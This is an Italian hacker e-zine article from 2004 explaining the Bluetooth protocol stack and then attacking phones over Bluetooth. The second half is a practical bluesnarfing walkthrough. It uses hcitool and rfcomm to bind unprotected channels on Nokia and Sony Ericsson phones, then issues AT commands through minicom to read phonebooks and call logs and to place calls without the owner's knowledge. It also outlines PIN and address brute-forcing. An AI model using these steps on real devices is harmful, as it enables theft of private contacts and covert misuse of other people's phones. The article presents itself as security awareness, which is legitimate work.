Copy Link
Add to Bookmark
Report
BFi numero 13 file 18
================================================================================
---------------------[ BFi13-dev - file 18 - 20/08/2004 ]-----------------------
================================================================================
-[ DiSCLAiMER ]-----------------------------------------------------------------
Tutto il materiale contenuto in BFi ha fini esclusivamente informativi
ed educativi. Gli autori di BFi non si riterranno in alcun modo
responsabili per danni perpetrati a cose o persone causati dall'uso
di codice, programmi, informazioni, tecniche contenuti all'interno
della rivista.
BFi e' libero e autonomo mezzo di espressione; come noi autori siamo
liberi di scrivere BFi, tu sei libero di continuare a leggere oppure
di fermarti qui. Pertanto, se ti ritieni offeso dai temi trattati
e/o dal modo in cui lo sono, * interrompi immediatamente la lettura
e cancella questi file dal tuo computer * . Proseguendo tu, lettore,
ti assumi ogni genere di responsabilita` per l'uso che farai delle
informazioni contenute in BFi.
Si vieta il posting di BFi in newsgroup e la diffusione di *parti*
della rivista: distribuite BFi nella sua forma integrale ed originale.
--------------------------------------------------------------------------------
-[ THREADS ]--------------------------------------------------------------------
---[ BLUET00TH, TUTTA LA VERiTA`, NiENT'ALTR0 CHE LA VERiTA` ]------------------
-----[ boos <r.martelloni2003@libero.it> && ]-----------
-----[ Dante Alighieri <dante@alighieri.org> http://www.bluejack.it ]-----------
----- Bluetooth, tutta la verita`, nient`altro che la verita`. -----
Dante Alighieri & boos.
Partenza: Milano MPX
Destinazione: Orlando (FL)
Sul volo in partenza da: Paris CDG.
Sul volo in arrivo a: Atlanta
Velocita`: 848 km/h
Altezza: 10668m
Temperatura: -46 Gradi Centigradi
Km percorsi: 2413
Km restanti: 4639
Questo articolo, sara` diviso in due parti, una teorica ed una essenzialmente
pratica.
La teoria, PURTROPPO, ci serve per riuscire a comprendere fino in fondo cio` che
PRATICAMENTE faremo piu` tardi. Tuttavia, cerchero` di non dilungarmi troppo
sulla parte teorica, anche perche` a fine articolo vi passero` una serie di link
da cui potrete studiare per bene ed approfonditamente tutta la teoria. La parte
pratica invece, e` semplicemente frutto di prove e smanettamenti, per cui sara`
difficile che troviate documentazione del genere in giro.
Scopo principale di questo documento e` quello di far riflettere tutti voi su
quanto sia stupido e banale riuscire a comandare a distanza un dispositivo
Bluetooth (nel nostro caso un cellulare) permettendovi di impartire un notevole
numero di comandi, senza che il legittimo proprietario se ne accorga
minimamente.
Non lo faccio ne` per cattiveria, ne` per arroganza, ma spero semplicemente che
qualcosa cambi, che qualcuno si muova.
Il perche` sia possibile dare numerosi comandi e prendere "possesso" del
dispositivo remoto e` probabilmente il marketing o una risk management activity
con un bilancio errato.
Sulla sicurezza ha prevalso il denaro, perche` e` ovvio che un dispositivo che
non dia alcun problema di accoppiamento o configurazione (semplicemente perche`
la password non e` richiesta) sia il piu` venduto!
Inutile perdersi in chiacchiere, incominciamo subito.
Bluetooth, i protocolli.
Nel Bluetooth esistono due tipi di protocolli: di middleware e di trasporto.
I protocolli di middleware non fanno altro che appoggiarsi a quelli di trasporto
per fornire supporto alle applicazioni che li sfruttano.
I protocolli di trasporto invece sono stati disegnati appositamente per il
bluetooth.
Ecco uno schema dello stack dei vari protocolli, di middleware e di trasporto:
_______________________________________________________________
| |
| APPLICAZIONI |
|_______________________________________________________________|
_______________________________________________________________
| | | ______________|
| TCS | SDP | ALTRI PROTOCOLLI | RFCOMM | *Middleware*
|___________|___________|________________________|______________|
_______________________________________________________________
| |
| L2CAP | *Trasporto*
|_______________________________________________________________|
| |
| |
| *HCI* |
| |
| ________________________________ |
| | | |
| | LINK MANAGER PROTOCOL | |
| |________________________________| |
| |
|_______________________________________________________________|
| |
| BASEBAND |
|_______________________________________________________________|
| |
| RADIO |
|_______________________________________________________________|
Incominciamo quindi a spiegare per benino cosa sono e a cosa servono questi
protocolli, per facilitare la comprensione, partiremo dal basso.
Radio.
Il protocollo Radio, come potrete facilmente notare dalla figura, e` quello di
piu` basso livello, quello fisico, per intenderci, e definisce quelle che sono
le caratteristiche di trasmissione "radio" appunto di qualsiasi dispositivo
bluetooth.
Le onde radio operano sulla banda ISM (Industrial Scientific Medicine) dei
2.4Ghz e usa la tecnica del frequency hopping per riuscire ad annullare le
interferenze tra piu` trasmissioni che inizino a trasmettere contemporaneamente.
Il frequency hopping e`, come dice lo stesso nome, un salto di frequenza
periodico e pseudocasuale che avviene in uno dei 79 canali disponibili.
Questo vuol dire che le possibili frequenze andranno da 2.402+0 a 2.402+78
(Mhz).
La sequenza di salti di una piconet (una rete bluetooth) e` unica ed e` ricavata
attraverso l`indirizzo del dispositivo master della rete (il BD_ADDR) ed altre
variabili.
I dispositivi bluetooth possono essere divisi in 3 categorie a seconda della
potenza.
Categoria Potenza
_______________________________________
| | |
| 1 | 100mW (20dBm) |
|_______________|_______________________|
| | |
| 2 | 2.5mW (4dBm) |
|_______________|_______________________|
| | |
| 3 | 1mW (0dBm) |
|_______________|_______________________|
Ovviamente, una maggiore potenza significa un maggior consumo di energia, per
cui su dispositivi come per esempio i cellulari, la potenza e` ridotta ad un
campo di circa 10 metri.
Baseband.
Il protocollo baseband e` alla base della definizione delle procedure che
permettono la comunicazione attraverso bluetooth tra dispositivi.
In particolare il protocollo e` responsabile della sincronizzazione, del
controllo di flusso, della correzione degli errori, della sicurezza delle
trasmissioni, del salto di frequenza.
Link Manager Protocol.
Il Link Manager Protocol (LMP) e` responsabile delle comunicazioni attraverso i
componenti di una rete bluetooth. Tra le operazioni piu` importanti che deve
svolgere c`e` il setting delle proprieta` dei collegamenti esistenti tra
dispositivi e la loro autenticazione.
Tra le altre funzioni dell`LMP c`e` anche la verifica periodica della
raggiungibilita` dell`altro dispositivo e l`apprendimento delle funzionalita`
offerte dall`LMP all`altro capo.
Dispositivo 1 Dispositivo 2
_______________ _______________
| | LMP | |
| Link Manager | <-------------------> | Link Manager |
|_______________| |_______________|
| | | |
| Link Control | | Link Control |
|_______________| |_______________|
| | | |
| Radio | | Radio |
|_______________| |_______________|
L`autenticazione dei due dispositivi avviene quindi con un meccanismo di
challenge response che si basa sull`LMP.
HCI.
HCI sta per Host Controller Interface, l`HCI e` semplicemente un layer sfruttato
delle device bluetooth per accedere agli strati piu` bassi. Proprio grazie a
questo layer un dispositivo Bluetooth puo` eseguire delle richieste di
autenticazione o ancora di inquiry. Vedremo infatti piu` avanti l`utilizzo del
tool hcitool.
L2CAP.
Il Logical Link Control and Adaption Protocol si basa sul protocollo Baseband
per riuscire a capire a che protocollo di piu` alto livello destinare i
pacchetti da lui gestiti.
L`L2CAP in pratica e` il layer su cui per esempio l`RFCOMM o l`SDP si
appoggiano, un "tunnel" tra protocolli di strato piu` basso, e protocolli di
strato piu` alto.
Durante il passaggio attraverso questo "tunnel" i pacchetti subiscono varie
manipolazioni da parte dello strato in questione, tra cui per esempio il
riassemblamento e la frammentazione. Per cui un pacchetto piu` grande di 341
bytes non potra` essere passato agli strati sottostanti e viceversa.
___ RFCOMM
|
|
BASEBAND ---> L2CAP +---- SDP
|\
| \___ Audio
|
|______ TCS
RFCOMM.
L`RFCOMM e` uno dei protocolli che ci saranno piu` "amici" e uno di quelli che
sfrutteremo.
Il protocollo rfcomm non fa altro che emulare i sei fili di un normale cavetto
RS-232 usati per interconnettere cellulari privi di bluetooth a personal
computer o terminali per la loro programmazione.
Questo protocollo permette alle applicazioni scritte per funzionare su normali
cavi RS-232 di funzionare anche su bluetooth.
SDP.
Il Service Discovery Protocol. Progettato con dovute ottimizzazioni, per
lavorare in maniera piu` performante su dispositivi a limitata capacita`, l'SDP
permette ad un dispositivo di venire a conoscenza dei servizi offerti dal
dispositivo con cui vuole instaurare la connessione e delle modalita` di
connessione ad essi.
TCS.
Il Telephony Control Signaling e` il protocollo che permette di usare i normali
comandi AT.
Ma dato che i comandi AT sono stati sviluppati per funzionare su semplici cavi
seriali, questi non potrebbero funzionare se non grazie all`RFCOMM.
Altri protocolli.
Altri protocolli sono stati sviluppati per riuscire a supplire alle mancanze
dei primi: alcuni, come il PPP si appoggiano proprio all`RFCOMM. Tra gli altri
troviamo anche l`IRMC InfraRed Mobile Communication (per usare l`interfaccia
IRDA, l`infrarossi, tanto per intenderci) o ancora l`OBEX, OBject EXchange
protocol, usato per lo scambio di file (midi, jpg, avi...) tra dispositivi.
Come avvengono fisicamente le connessioni tra dispositivi Bluetooth?
Torniamo un attimo indietro e rinfreschiamoci la memoria. Abbiamo gia` detto che
il Bluetooh lavora su onde radio, nella banda dei 2.4Ghz e che usa una tecnica
chiamata frequency hopping (salto di frequenza) per riuscire ad evitare
interferenze tra dispositivi che iniziano contemporaneamente una comunicazione.
La sequenza di salti di frequenze in una piconet e` creata basandosi sul clock
del dispositivo master e dal suo BD_ADDR (indirizzo).
La trasmissione e` divisa in time-slot e segue uno schema di divisione delle
trasmissioni di tipo TDD (Time Division Duplex): in pratica dispositivo master e
slave si alternano nella trasmissione dei dati.
Esiste anche la possibilita` di inviare pacchetti multislot: durante l`invio di
un pacchetto multislot il frequency hopping e` stoppato e pertanto se ne deduce
che la frequenza rimane invariata.
Quando l`invio del pacchetto multislot sara` terminato, i due dispositivi
riprenderanno la trasmissione come se avessero continuato a saltare di
frequenza. Mi spiego meglio, magari con l`aiuto di un grafico.
Master Slave
_______________________________
| | | | |
| | | |
I time Slot | | -------> | -------> | |
| | | |
| | | | |
|__| | __|
| | |
| _ _ _ _ _ _ _ | _ _ _ _ _ _ _ |
| | | | |
| | | |
II Time Slot | | <------- | <------- | |
| | | |
| | | | |
|__ | |__|
| _ _ _ _ _ _ _ | _ _ _ _ _ _ _|
| | |
| | |
| etc | etc |
| | |
| | |
|_______________|_______________|
Il primo dispositivo a inviare dati e` sempre il device master, dopo il primo
invio del master il dispositivo slave puo` incominciare a trasmettere.
Vi chiederete quindi come faccia una device slave a mantenere la
sincronizzazione con il dispositivo master durante il salto di frequenze, la
risposta e` semplice, conosce il clock del master, e su quello basa tutto il
processo di sincronizzazione. Proprio su questo si fondera` uno degli attacchi
che attueremo.
Un cenno a riguardo della correzione degli errori mi sembra doveroso.
Bene, anche il protocollo bluetooth ha implementato un meccanismo per la
correzione degli errori. Esistono due metodi principali in cui la correzione
degli errori e` implementata: il primo e` detto FEC CODE 1/3, il secondo 2/3.
La FEC CODE 1/3 non e` nient`altro che una ritrasmissione per tre volte
consecutive dello stesso bit, questo tipo di implementazione viene usato
principalmente per la trasmissione degli header di un pacchetto.
La FEC CODE 2/3 invece e` un codice di Hamming accorciato, un (15,10) per
essere precisi, il cui codice generatore e` g(D) = (D + 1)(D^4 + D + 1).
In parole povere, riesce a encodare uno stream di 10 bit, in 15 bit, sfruttando
sostanzialmente i bit di parita`. Non mi dilunghero` oltre sull`argomento,
poiche` non strettamente correlato all`articolo.
Com`e` implementata la sicurezza delle comunicazioni??
________________________________________________________
Primo Step. |
|
Il dispositivo A si accende e genera una "Unit Key" |
Il dispositivo B si accende e genera una "Unit Key" |
|
Secondo Step. |
|
Viene generata una chiave di inizializzazione. |
Prima Autenticazione. |
Scambio della chiave di link. |
|
Terzo Step. |
|
Autenticazione. |
Generazione della chiave di crittazione. |
Comunicazioni crittate. |
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Il meccanismo che i dispositivi bluetooth implementano per dare una PARVENZA di
sicurezza all`intero meccanismo e` semplice, chiaro, vecchio come il cucco e
abbastanza funzionale: challenge response.
Spieghero` quindi brevemente su cosa si basa questo meccanismo.
I quattro protagonisti principali sono:
- Il BD_ADDR della device di lunghezza 48bit (il suo indirizzo pubblico).
- Due chiavi segrete: una encryption key da 8 a 128bit ed una chiave di
autenticazione di 128 bit.
- Un numero casuale a 128 bit.
Il BD_ADDR e` un indirizzo standard IEEE che e` univoco per ogni dispositivo,
mentre le due chiavi insieme al numero casuale sono generate durante il processo
di comunicazione.
Le chiavi di encryption sono di solito derivate da quella di autenticazione, che
poi e` semplicemente la chiave che corrisponde al loro collegamento, e vengono
quindi chiamate "link" keys; quando pero` il dispositivo master vuole instaurare
una comunicazione con tutti gli slave appartenenti alla piconet, questa chiave
e` sostituita con una temporanea e FISSA (!).
Per quanto riguarda invece il numero casuale a 128bit, questo e` generato da un
generatore di numeri pseudo casuali che ogni dispositivo bluetooth incorpora.
Cerchiamo di capire quindi cosa succede.
La comunicazione avviene in 3 fasi principali:
- nella prima le due unita` che stanno cercando di instaurare la comunicazione
creano ognuna una unit key. Questa unit key e` generata una volta solamente da
ogni dispositivo, salvo rarissime occasioni, e la sua creazione avviene alla
prima accensione;
- durante la seconda fase invece c`e` il primo handshake tra le due unita`, si
genera la prima chiave di inizializzazione e avviene il primo scambio di
chiavi.
- proprio su questo scambio di chiavi si basera` la terza fase, che comprendera`
una serie di successivi handshake che termineranno proprio con la creazione
delle chiavi di encryption per la comunicazione dei dati.
Tanti, svariati Attacchi.
Vediamo ora invece di riuscire a capire cosa possiamo fare dal punto di vista
offensivo.
Cerchiamo quindi di capire cosa si puo` fare dal punto di vista dell`insicurezza
informatica.
Vi parlero` quindi di tutti i possibili attacchi effettuabili ad una rete o un
dispositivo bluetooth.
Sicuramente, una delle cause principali dell`insicurezza di tali dispositivi,
viene proprio dalla loro capacita` di memoria. La creazione della chiave di
inizializzazione avviene per esempio tramite 3 variabili date in pasto ad un
dato algoritmo (E22).
Queste 3 variabili sono: un numero casuale, il PIN, e la lunghezza del PIN.
Tuttavia, dato che il numero casuale viaggia sempre in chiaro sulla
comunicazione, se come link key viene utilizzata una key di inizializzazione,
l`unica informazione "mancante" per riuscire a ricostruirla, e` semplicemente
il PIN, codice (come tutti saprete) di 4 cifre decimali, quindi da 0000 a 9999,
10000 possibilita`: direi quindi che un attacco di tipo "brute force" sia
decisamente possibile. Unico impedimento e` un contatore, che ad ogni "sbaglio"
di PIN, incrementa i secondi da aspettare per un dispositivo affinche` possa
riprovare un`autenticazione. Certo e` anche pero` che non e` detto che dobbiamo
attuare un attacco di forza bruta per forza dallo stesso dispositivo, potremmo
quindi usare un dispositivo con un BD_ADDR diverso e continuare il nostro
attacco, ciclando i dispositivi impiegati.
Potremmo pensare invece di far finta di essere un`altra device. Tutto sommato
esistono tre parti in cui un pacchetto di dati puo` essere modificato: il bit di
acknoledgement, i tre bit dell`indirizzo ed infine gli otto bit per la
correzione degli errori per gli header.
Un`altra possibilita` e` quella di "copincollare" il flusso di dati, in pratica
registrarlo e reinviarlo interamente: in questo modo si potrebbero effettuare
piu` transazioni dallo stesso dispositivo (pensate ad una transazione bancaria
o di pagamento su internet). E` da ricordare pero` che non solo dovremmo
riuscire a registrare su 79 canali contemporaneamente, ma dovremmo anche
ricostruire i pacchetti ricevuti per poi ritrasmetterli ricomponendo lo
streaming esatto.
Insomma... decisamente una cosa non semplice da portare a termine.
Ancora, uno degli elementi su cui il dispositivo si basa e` il proprio clock: su
di esso per esempio avviene il calcolo delle time slot, per permettere ad un
dispositivo slave di allinearsi con il master. Con un laser a bassa potenza,
questo clock puo` essere disturbato in modo tale da non permettere il corretto
funzionamento e quindi la sincronizzazione, causando quindi un DoS.
Toothing, Bluediscovery e Bluesnarfing.
Piccola osservazione prima di iniziare. Un dispositivo bluetooth va un po`
pensato come un apparecchio con un mini sistema operativo dove i servizi invece
di partire in ascolto su determinate porte, partono in ascolto su determinati
canali. Avremo quindi solitamente sul canale 1 (il default) quello della
telefonia o ancora sul canale 17 o 18 quello della rubrica; esiste ancora quello
dell`auricolare o quello di scambio di file detto OBEX (OBject EXchange) come
tanti altri ancora... spero che questo concetto sia chiaro a tutti.
Toothing.
Il toothing, che e` stato tanto acclamato dalla stampa e dalle folle, non e`
nient`altro che lo scambio di "business card" cioe` bigliettini da visita, tra
dispositivi. Per evitare cio`, basta dire "no" quando il dispositivo ci
chiedera` se vogliamo o no ricevere il bigliettino.
Bluediscovery.
Arriviamo alla parte piu` interessante...
Quando il bluetooth e` attivato su di un dispositivo, solitamente ha tre stati:
visibile, disabilitato e nascosto.
Il dispositivo sara` quindi raggiungibile da tutti se visibile, non
raggiungibile in nessuna maniera se disabilitato e raggiungibile solo dai
dispositivi accoppiati se nascosto. Ma come faranno i dispositivi accoppiati a
vedere il dispositivo se e` "nascosto"? Niente di piu` facile, quando
selezioniamo lo stato come "nascosto" il dispositivo smette di annunciarsi, ma
non blocca i propri servizi; questo vuol dire che il dispositivo "accoppiato"
semplicemente ha registrato nella configurazione il BD_ADDR dell`altro
dispositivo e invece di cercarlo, lo chiama direttamente.
Ma se noi quindi gia` sappiamo l`indirizzo dell`altro dispositivo e il canale
su cui connetterci?
Come potrete ben immaginare, funzionera`.
Stesso ragionamento quindi per il brute forcing, possiamo incrementare un
indirizzo provando a connetterci incrementando ogni volta il BD_ADDR di 1 fino
a quando non troviamo quello giusto.
Guardiamo infatti un tipico indirizzo bluetooth:
00:0A:D9:03:12:36
Potreste pensare che riuscire a trovare l`indirizzo giusto sia un bel casino, ed
io sarei anche d'accordo con voi, se non fosse per il fatto che i primi tre
campi, 00:0A:D9 in questo caso, sono "fissi" per ogni produttore ed ovviamente
disponibili liberamente su internet, proprio come succede per i MAC address.
Grazie a questo in realta` la difficolta` diminuisce significativamente e ancor
piu` se si pensa che un attacco del genere potrebbe essere portato da 7
dispositivi alla volta: dividendo quindi i range di scansione si arriva ad un
tempo, piu` che ragionevole, di 1 ora.
Per evitare tale vulnerabilita` non esiste altra soluzione che disabilitare il
bluetooth.
Un tool per fare bruteforcing sugli indirizzi e` stato sviluppato da @stake ed
il suo nome e` redfang (http://www.atstake.com/research/tools/info_gathering/).
Bluesnarfing.
Qui viene la parte migliore...
Ora, ricordate il protocollo RFCOMM? Bene, questo protocollo, come gia` detto,
emula i nove cavetti di un cavo seriale RS-232, tutto cio` per permettere alle
applicazioni che sono normalmente progettate e sviluppate per usare il cavo
seriale di lavorare anche tramite bluetooth.
Il problema e` che su alcuni modelli di nokia (6310i per esempio) e di sony
ericson (T68, T61...), non e` stato implementato per il servizio di phonebooking
e di telefonia alcun controllo tramite password, pin, o simili.
Ricompilate il kernel 2.4.X o 2.6.X includendo lo stack bluetooth "blueZ",
installate le blueutils e gli hcitools e vi faro` vedere come sia realmente
facilissimo riuscire a prendere con comuni programmi il pieno controllo della
device remota.
Useremo principalmente due tool: hcitool e rfcomm.
hcitool ci permettera` di fare alcune richieste alla/e device bluetooth nella
nostra area.
Partiamo con uno scan per capire se ci sono o meno dispositivi bluetooth nel
nostro raggio di azione.
root@sofficino# hcitool scan
Scanning ...
00:0A:D9:03:12:36 sciamaru
root@sofficino#
Bene, abbiamo trovato un dispositivo bluetooth.
Con le opzioni "info" e "name" riusciremo ad avere maggiori notizie a riguardo.
Ora useremo invece il tool "rfcomm" che non e` nient`altro che un client per
l`omonimo protocollo.
rfcomm (il client) ci permette infatti di bindare un determinato servizio
bluetooth di un determinato dispositivo su una nostra device.
Sul canale 1 del nostro dispositivo abbiamo il servizio di telefonia, sul 17
invece quello di phonebooking.
Effettuiamo una chiamata con il cellulare remoto:)
rfcomm ha 5 comandi: bind, release, show, connect e listen. Quelli che useremo
saranno i primi 3, iniziamo a darci un`occhiata.
Il comando "bind" serve appunto per bindare un servizio bluetooth su una nostra
device, "release" rilascia la device (e quindi il servizio), "show" mostra le
connessioni attualmente instaurate.
Mettiamoci al lavoro..
root@sofficino# rfcomm bind 0 00:0A:D9:03:12:36 1
In questo modo abbiamo bindato il canale 1 (telefonia) del dispositivo
00:0A:D9:03:12:36 sulla nostra device rfcomm0 (/dev/bluetooth/rfcomm/0 o
/dev/rfcomm/0) infatti...
root@sofficino# rfcomm show
rfcomm0: 00:0A:D9:03:12:36 channel 1 clean
Ora bastera` lanciare minicom (come spiegato di seguito) o configurare pppd.conf
in modo tale che invece di usare /dev/ttyXX o simili, usi la nostra nuova
device, ovvero /dev/bluetooth/rfcomm/0 o /dev/rfcomm/0.
Dopo di che, lanciate pppd nel solito modo, e il dispositivo remoto effettuera`
la chiamata VOCE.
Vediamo invece ora come sfogliare per esempio la rubrica, o riuscire a operare
in modi simili.
root@sofficino# rfcomm bind 1 00:0A:D9:03:12:36 17
root@sofficino# rfcomm show
rfcomm1: 00:0A:D9:03:12:36 channel 17 clean
Bene, abbiamo agganciato il canale 17 (come gia` detto, il phonebooking).
Lanciamo minicom o un qualsiasi altro client simile e settiamo nelle sue
proprieta` la nostra device (/dev/rfcomm/1 o /dev/bluetooth/rfcomm/1).
Prima di agire pero`, direi di darci un`occhiata al manuale dei comandi AT che
l`ETS (European Telecomunication Standard) ci offre, e` un po` vecchiotto ('99)
ma andra` benissimo (potrete trovarlo su http://www.bluejack.it).
Vediamo cosa ci dice il nostro manuale... CGMI per vedere il produttore... CGMM
per il modello... hmm ottimo... proviamoli subito...
root@sofficino# minicom
Welcome to minicom 2.00.0
OPTIONS: History Buffer, F-key Macros, Search History Buffer, I18n
Compiled on Jul 8 2004, 23:15:52.
Press CTRL-A Z for help on special keys
AT S7=45 S0=0 L1 V1 X4 &c1 E1 Q0
OK
AT+CGMI
ERICSSON // oh... il produttore... :)
OK
AT+CGMN
1130202-BVT68 // oh... il modello :D
Adesso invece seleziono il tipo di rubrica... Piccola parentesi su questo: ho
trovato questo tipo di rubriche sul manuale, eccovi una lista delle piu`
comuni... Notare che sul T68 per esempio ho trovato delle rubriche che non ho
capito ancora a cosa servano...
DC ME Chiamate effettuate -> Dialed Call list
EN SIM numeri di emergenza -> Emergency Numbers (non accessibile in scrittura)
FD Fixdialing numbers
LD Ultime chiamate -> Last dialed calls
MC Chiamate perse -> Missed Calls
ME ME telefono phonebook -> phonebook
MT ME+SIM
ON Proprio numero -> Own Number
RC chiamate ricevute -> Received Calls
TA TA phonebook
OK
AT+CPBS="DC" // ho selezionato le chiamate effettuate
OK
AT+CPBR=2
+CPBR: 2, "3476969696", 129, "Dante Alighieri", "2004/07/10, 15:25"
OK
AT+CPBS="ME" // seleziono la rubrica
OK
AT+CPBF="Dante Alighieri" // cerco un numero che abbia come nome "Dante
Alighieri"
+CPBF: 22, "3476969696",129,"Dante Alighieri/M" // ed eccomi qui infatti...
nella 22esima posizione
OK
AT+CPBR=22 // infatti ora cerco per posizione in rubrica...
+CPBR: 22, "3476969696",129,"Dante Alighieri/M" // ed eccomi qui :D
OK
Beh... altre cose che si possono fare sono per esempio effettuare chiamate
dati... come? ATDT ! Proprio come in un normale modem.
Un piccolo proof of concept e` stato sviluppato per facilitare tutte le
operazioni, troverete il codice allegato all`articolo, divertitevi! :)
Conclusioni.
Bene, spero realmente che vi siate divertiti perche` probabilmente adesso
durante le riflessioni i vostri pensieri si faranno cupi e fitti.
In Italia abbiamo addirittura una macchina che implementa il bluetooth a bordo
e davvero NON posso immaginare se connesso o posizionato strategicamente male
cosa si possa combinare.
Come avevo predetto in Aprile durante la chiacchierata sullo stesso argomento
all`hackmeeting e a Parigi circa un paio di mesi prima, e` gia` uscito il primo
virus che si diffonde non solo via IRC, ICQ, outlook, RPC, ma anche via
bluetooth.
Aspettatevi quindi di arrivare al bar dai vostri amici con il vostro palmare ed
essere infettati da un virus che contagera` la vostra rete casalinga tramite
sincronizzazione.
Buon divertimento e ricordatevi di me, quando un giorno non troppo distante vi
troverete ad installare per la prima volta un firewall sul vostro cellulare.
Referenze:
http://www.bluejack.it (il mio sito dedicato alla sicurezza sul bluetooth)
http://www.bluetooth.com (il sito principale del bluetooth, con tutte le
descrizioni, gli standard, etc)
http://www.bluejackhq.com (toothing)
http://www.betaversion.net/btdsd/ (bluetooth security database)
http://www.bluestumbler.org
http://sourceforge.net/projects/bluez/ (BlueZ stack homepage)
http://www.atstake.com/research/tools/info_gathering/#redfang
================================================================================
------------------------------------[ EOF ]-------------------------------------
================================================================================
